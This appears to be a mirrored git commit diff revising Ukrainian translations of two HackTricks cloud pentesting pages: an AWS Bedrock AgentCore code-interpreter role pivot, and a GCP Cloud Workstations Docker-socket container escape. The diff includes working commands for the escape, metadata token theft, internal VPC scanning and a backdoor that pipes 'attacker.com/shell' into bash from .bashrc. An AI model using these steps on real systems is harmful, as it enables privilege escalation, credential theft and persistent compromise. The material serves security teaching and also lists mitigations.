mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat
This commit is contained in:
Translator
@@ -6,32 +6,32 @@
|
||||
|
||||
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
|
||||
|
||||
AgentCore Code Interpreter — це кероване середовище виконання. **Custom Code Interpreters** можна налаштувати з **`executionRoleArn`**, який «надає дозволи інтерпретатору коду для доступу до AWS services».
|
||||
AgentCore Code Interpreter — це кероване середовище виконання. **Custom Code Interpreters** можна сконфігурувати з параметром **`executionRoleArn`**, який «надає дозволи для code interpreter на доступ до сервісів AWS».
|
||||
|
||||
Якщо **lower-privileged IAM principal** може **start + invoke** сесію Code Interpreter, налаштовану з **more privileged execution role**, викликач фактично може **pivot into the execution role’s permissions** (lateral movement / privilege escalation залежно від обсягу ролі).
|
||||
Якщо **lower-privileged IAM principal** може **start + invoke** сесію **Code Interpreter**, налаштовану з **more privileged execution role**, викликач фактично може **pivot into the execution role’s permissions** (lateral movement / privilege escalation залежно від області ролі).
|
||||
|
||||
> [!NOTE]
|
||||
> Зазвичай це питання **misconfiguration / excessive permissions** (надання широких дозволів виконуючій ролі інтерпретатора і/або широкого доступу до invoke).
|
||||
> AWS явно попереджає, щоб уникнути privilege escalation, переконуючись, що execution roles мають **equal or fewer** privileges, ніж identities, яким дозволено invoke.
|
||||
> Зазвичай це проблема **misconfiguration / excessive permissions** (надання широких дозволів ролі виконання інтерпретатора та/або надання широкого invoke-доступу).
|
||||
> AWS прямо попереджає про необхідність уникати privilege escalation, переконавшись, що execution roles мають **equal or fewer** привілеїв, ніж ідентичності, яким дозволено викликати.
|
||||
|
||||
#### Передумови (common misconfiguration)
|
||||
#### Preconditions (common misconfiguration)
|
||||
|
||||
- Існує **custom code interpreter** з надмірно привілейованою **execution role** (ex: доступ до чутливих S3/Secrets/SSM або можливості на кшталт IAM-admin).
|
||||
- Існує **custom code interpreter** з надмірно привілейованою **execution role** (наприклад: доступ до конфіденційних S3/Secrets/SSM або можливості типу IAM-admin).
|
||||
- Користувач (developer/auditor/CI identity) має дозволи на:
|
||||
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (Optional) Користувач також може створювати інтерпретатори: `bedrock-agentcore:CreateCodeInterpreter` (дозволяє створити нового інтерпретатора, налаштованого з execution role, залежно від org guardrails).
|
||||
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (Опційно) Користувач також може створювати interpreters: `bedrock-agentcore:CreateCodeInterpreter` (дозволяє створити новий interpreter, налаштований з execution role, залежно від org guardrails).
|
||||
|
||||
#### Recon (identify custom interpreters and execution role usage)
|
||||
#### Recon (виявлення custom interpreters та використання execution role)
|
||||
|
||||
Перелічіть interpreters (control-plane) та перевірте їх конфігурацію:
|
||||
```bash
|
||||
aws bedrock-agentcore-control list-code-interpreters
|
||||
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
|
||||
````
|
||||
> Команда create-code-interpreter підтримує `--execution-role-arn`, який визначає, які дозволи AWS матиме інтерпретатор.
|
||||
> Команда create-code-interpreter підтримує `--execution-role-arn`, який визначає, які дозволи AWS матиме interpreter.
|
||||
|
||||
#### Крок 1 - Розпочати сесію (це повертає `sessionId`, а не interactive shell)
|
||||
#### Крок 1 - Розпочніть сесію (це повертає `sessionId`, а не interactive shell)
|
||||
```bash
|
||||
SESSION_ID=$(
|
||||
aws bedrock-agentcore start-code-interpreter-session \
|
||||
@@ -45,9 +45,9 @@ echo "SessionId: $SESSION_ID"
|
||||
```
|
||||
#### Крок 2 - Виклик виконання коду (Boto3 або підписаний HTTPS)
|
||||
|
||||
Немає **інтерактивної оболонки python** від `start-code-interpreter-session`. Виконання відбувається через **InvokeCodeInterpreter**.
|
||||
Немає **інтерактивної python shell** при `start-code-interpreter-session`. Виконання відбувається через **InvokeCodeInterpreter**.
|
||||
|
||||
**Варіант A - приклад Boto3 (запуск Python + перевірка ідентичності):**
|
||||
**Варіант A - приклад Boto3 (виконати Python + перевірити ідентичність):**
|
||||
```python
|
||||
import boto3
|
||||
|
||||
@@ -68,9 +68,9 @@ arguments={
|
||||
for event in resp.get("stream", []):
|
||||
print(event)
|
||||
```
|
||||
Якщо інтерпретатор налаштовано з execution role, вивід `sts:GetCallerIdentity()` має відображати ідентичність цієї ролі (а не low-priv caller), що демонструє pivot.
|
||||
Якщо інтерпретатор налаштовано з execution role, вивід `sts:GetCallerIdentity()` має відображати ідентичність цієї ролі (а не low-priv caller), демонструючи pivot.
|
||||
|
||||
**Варіант B - Підписаний HTTPS виклик (awscurl):**
|
||||
**Option B - Підписаний HTTPS виклик (awscurl):**
|
||||
```bash
|
||||
awscurl -X POST \
|
||||
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
|
||||
@@ -87,20 +87,20 @@ awscurl -X POST \
|
||||
}
|
||||
}'
|
||||
```
|
||||
#### Наслідки
|
||||
#### Вплив
|
||||
|
||||
* **Lateral movement** до будь-якого доступу AWS, який має роль виконання інтерпретатора.
|
||||
* **Privilege escalation** якщо роль виконання інтерпретатора має більше привілеїв, ніж викликач.
|
||||
* Ускладнене виявлення, якщо CloudTrail data events для викликів інтерпретатора не ввімкнено (виклики можуть не логуватися за замовчуванням, залежно від конфігурації).
|
||||
* **Lateral movement** у будь-який AWS-доступ, який має роль виконання інтерпретатора.
|
||||
* **Privilege escalation** якщо роль виконання інтерпретатора має більші привілеї, ніж викликач.
|
||||
* Ускладнене виявлення, якщо CloudTrail data events для викликів інтерпретатора не увімкнені (виклики за замовчуванням можуть не реєструватися, залежно від конфігурації).
|
||||
|
||||
#### Пом'якшення ризиків / Посилення безпеки
|
||||
#### Пом'якшення / Укріплення
|
||||
|
||||
* **Least privilege** для інтерпретатора `executionRoleArn` (ставтеся до нього так само, як до Lambda execution roles / CI roles).
|
||||
* **Обмежте, хто може викликати** (`bedrock-agentcore:InvokeCodeInterpreter`) та хто може починати сесії.
|
||||
* Використовуйте **SCPs** для заборони InvokeCodeInterpreter, за винятком затверджених agent runtime roles (може знадобитися застосування на рівні org).
|
||||
* Увімкніть відповідні **CloudTrail data events** для AgentCore там, де це доречно; сповіщайте про несподівані виклики та створення сесій.
|
||||
* **Least privilege** щодо інтерпретатора `executionRoleArn` (ставтеся до нього як до Lambda execution roles / CI roles).
|
||||
* **Обмежити, хто може викликати** (`bedrock-agentcore:InvokeCodeInterpreter`) та хто може починати сесії.
|
||||
* Використовуйте **SCPs** для заборони InvokeCodeInterpreter, за винятком затверджених agent runtime roles (можливе необхідне примусове застосування на рівні організації).
|
||||
* Увімкніть відповідні **CloudTrail data events** для AgentCore там, де це застосовно; налаштуйте оповіщення про небажані виклики та створення сесій.
|
||||
|
||||
## References
|
||||
## Посилання
|
||||
|
||||
- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
|
||||
- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
|
||||
|
||||
@@ -1,22 +1,22 @@
|
||||
# GCP - Cloud Workstations Privesc
|
||||
|
||||
|
||||
### Container Breakout via Docker Socket (Container -> VM -> Project)
|
||||
### Container Breakout через Docker Socket (Container -> VM -> Project)
|
||||
|
||||
Головний шлях ескалації привілеїв у Cloud Workstations походить від потреби підтримувати **Docker-in-Docker (DinD)** робочі процеси для розробників. Якщо конфігурація workstation монтує Docker socket або дозволяє privileged containers (типова конфігурація), атакуючий всередині контейнера workstation може втекти на підлягаючу Compute Engine VM і викрасти її service account token.
|
||||
Основний шлях підвищення привілеїв у Cloud Workstations випливає з необхідності підтримки **Docker-in-Docker (DinD)** workflows для розробників. Коли конфігурація workstation монтує Docker socket або дозволяє privileged containers (поширена конфігурація), атакуючий всередині контейнера workstation може втекти на підлеглий Compute Engine VM і вкрасти його service account token.
|
||||
|
||||
**Prerequisites:**
|
||||
- Доступ до терміналу Cloud Workstation (через SSH, скомпрометовану сесію або викрадені облікові дані)
|
||||
- Конфігурація workstation має монтувати `/var/run/docker.sock` або дозволяти privileged containers
|
||||
- Доступ до терміналу Cloud Workstation (через SSH, скомпрометовану сесію або вкрадені облікові дані)
|
||||
- Конфігурація workstation має монтувати `/var/run/docker.sock` або дозволяти привілейовані контейнери
|
||||
|
||||
**Architecture context:** Workstation — це контейнер (Layer 3), що запускається на runtime Docker/Containerd (Layer 2) на GCE VM (Layer 1). Docker socket дає прямий доступ до container runtime хоста.
|
||||
**Architecture context:** workstation — це контейнер (Layer 3), що працює на Docker/Containerd runtime (Layer 2) на GCE VM (Layer 1). Docker socket дає прямий доступ до container runtime хоста.
|
||||
|
||||
> [!NOTE]
|
||||
> Інструмент [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) автоматизує повний container escape і дає вам root shell на host VM.
|
||||
> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) автоматизує повний container escape і відкриває root shell на хост-VM.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Крок 1: Перевірте наявність Docker socket</summary>
|
||||
<summary>Крок 1: Перевірка наявності Docker socket</summary>
|
||||
```bash
|
||||
# Verify the Docker socket is available
|
||||
ls -l /var/run/docker.sock
|
||||
@@ -28,7 +28,7 @@ ls -l /var/run/docker.sock
|
||||
|
||||
<summary>Крок 2: Втеча у файлову систему віртуальної машини хоста</summary>
|
||||
|
||||
Ми запускаємо привілейований контейнер, монтуємо кореневий каталог хоста в `/mnt/host`. Також ділимо мережу хоста та PID namespace, щоб максимально підвищити видимість.
|
||||
Ми запускаємо привілейований контейнер, монтуємо кореневий каталог хоста в `/mnt/host`. Також ми ділимося мережею хоста та простором імен PID, щоб максимально підвищити видимість.
|
||||
```bash
|
||||
# Spawn a privileged container mounting the host's root filesystem
|
||||
docker run -it --rm --privileged --net=host --pid=host \
|
||||
@@ -38,7 +38,7 @@ alpine sh
|
||||
# Inside the new container, chroot into the host
|
||||
chroot /mnt/host /bin/bash
|
||||
```
|
||||
Тепер у вас є **root shell на підлягаючому Compute Engine VM** (Layer 1).
|
||||
Тепер у вас є **root shell на базовому Compute Engine VM** (Layer 1).
|
||||
|
||||
</details>
|
||||
|
||||
@@ -64,13 +64,13 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
|
||||
> **Перевірте Scopes!**
|
||||
> Навіть якщо прикріплений Service Account має роль **Editor**, VM може бути обмежений access scopes.
|
||||
> Якщо ви бачите `https://www.googleapis.com/auth/cloud-platform`, у вас повний доступ.
|
||||
> Якщо ви бачите лише `logging.write` і `monitoring.write`, ви обмежені лише векторами **Network Pivot** та **Persistence**, наведеними нижче.
|
||||
> Якщо ви бачите лише `logging.write` та `monitoring.write`, ви обмежені векторами **Network Pivot** та **Persistence** нижче.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Step 4: Achieve Persistence (Backdoor the User)</summary>
|
||||
<summary>Крок 4: Achieve Persistence (Backdoor the User)</summary>
|
||||
|
||||
Cloud Workstations монтують persistent disk у `/home/user`. Оскільки container user (зазвичай `user`, UID 1000) збігається з host user (UID 1000), ви можете записувати в домашню директорію хоста. Це дозволяє вам backdoor середовище навіть якщо workstation container буде відтворено.
|
||||
Cloud Workstations монтують persistent disk до `/home/user`. Оскільки container user (зазвичай `user`, UID 1000) збігається з host user (UID 1000), ви можете записувати в домашній каталог хоста. Це дозволяє вам backdoor the environment навіть якщо workstation container буде перебудовано.
|
||||
```bash
|
||||
# Check if you can write to the host's persistent home
|
||||
ls -la /mnt/host/home/user/
|
||||
@@ -85,7 +85,7 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
|
||||
|
||||
<summary>Крок 5: Network Pivot (Internal VPC Access)</summary>
|
||||
|
||||
Оскільки ви використовуєте простір імен мережі хоста (`--net=host`), ви тепер trusted node у VPC. Ви можете scan internal services, які дозволяють доступ на основі IP whitelisting.
|
||||
Оскільки ви розділяєте простір імен мережі хоста (`--net=host`), ви тепер є довіреним вузлом у VPC. Ви можете scan внутрішні сервіси, які дозволяють доступ на основі IP whitelisting.
|
||||
```bash
|
||||
# Install scanning tools on the host (if internet access allows)
|
||||
apk add nmap
|
||||
|
||||
Reference in New Issue
Block a user